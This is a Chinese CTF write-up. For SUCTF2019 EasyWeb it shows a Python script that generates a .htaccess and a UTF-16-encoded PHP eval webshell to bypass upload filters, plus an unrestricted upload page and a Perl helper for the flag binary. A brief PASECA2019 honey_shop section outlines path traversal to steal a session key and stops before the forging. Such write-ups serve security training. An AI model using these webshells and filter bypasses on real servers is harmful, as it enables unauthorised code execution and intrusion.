后綴黑名單限制,那就上傳.htaccess,並且文件不能有<?,那就用編碼繞過image_size[0]=1337和image_size[1]=1337可以利用#注釋
SUCTF2019EasyWeb
exp:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .w\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
#f=open('1.php','r')
generate_php_file("shell.w", "<?php eval($_POST[0]);?>")
f.close()
跑一下生成.htaccess和shell.w,不過這里需要注意的是源碼當中有這個過濾:
$parts = explode(".", $name);
#刪除數組中最后一個,也就是htaccess
$ext = array_pop($parts);
if (empty($parts[0])) {
#如果為空則反轉
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
所以在.htaccess前面需要多加一個.:..htaccess
上傳之后會發現有disabled_function
先連蟻劍再說
想嘗試上傳bypass文件卻發現不行:
然后我就想着用同樣的腳本上傳,但是會發現總是出錯,后來干脆直接上傳一個文件上傳的php文件了,改一下源碼即可:
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
$userdir = "./";
$disallowed_ext = array(
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
$image = file_get_contents($tmp_name);
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
稍微改一下腳本生成文件,上傳
然后就可以直接傳文件了,代碼在這:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
然而直接/get_flag不行,這個之前就有碰到過,可以用perl管道來執行
perl不熟,暫且直接用:
use warnings;
use strict;
use IPC::Open2;
$| = 1;
chdir ("/");
my $pid = open2(*out2, *in2,"./get_flag") or die;
my $reply = <out2>;
print STDOUT $reply;
$reply = <out2>;
print STDOUT $reply;
my $answer = eval($reply);
print in2 " $answer ";
in2->flush();
$reply = <out2>;
print STDOUT $reply;
print STDOUT $reply;
$reply = <out2>;
print STDOUT $reply;
$reply = <out2>;
print STDOUT $reply;
上傳,然后將bypass的命令改成perl 1.pl
上傳,拿到flag:
[PASECA2019]honey_shop
買flag錢不夠,看了一下也沒其他東西了,應該就是偽造session,但是首先得得到key才行,注意到這里有一個下載圖片:
看一下路徑,是/download?image=1.jpg
嘗試路徑穿越
讀一下全局變量
得到密鑰,老樣子解密加密偽造: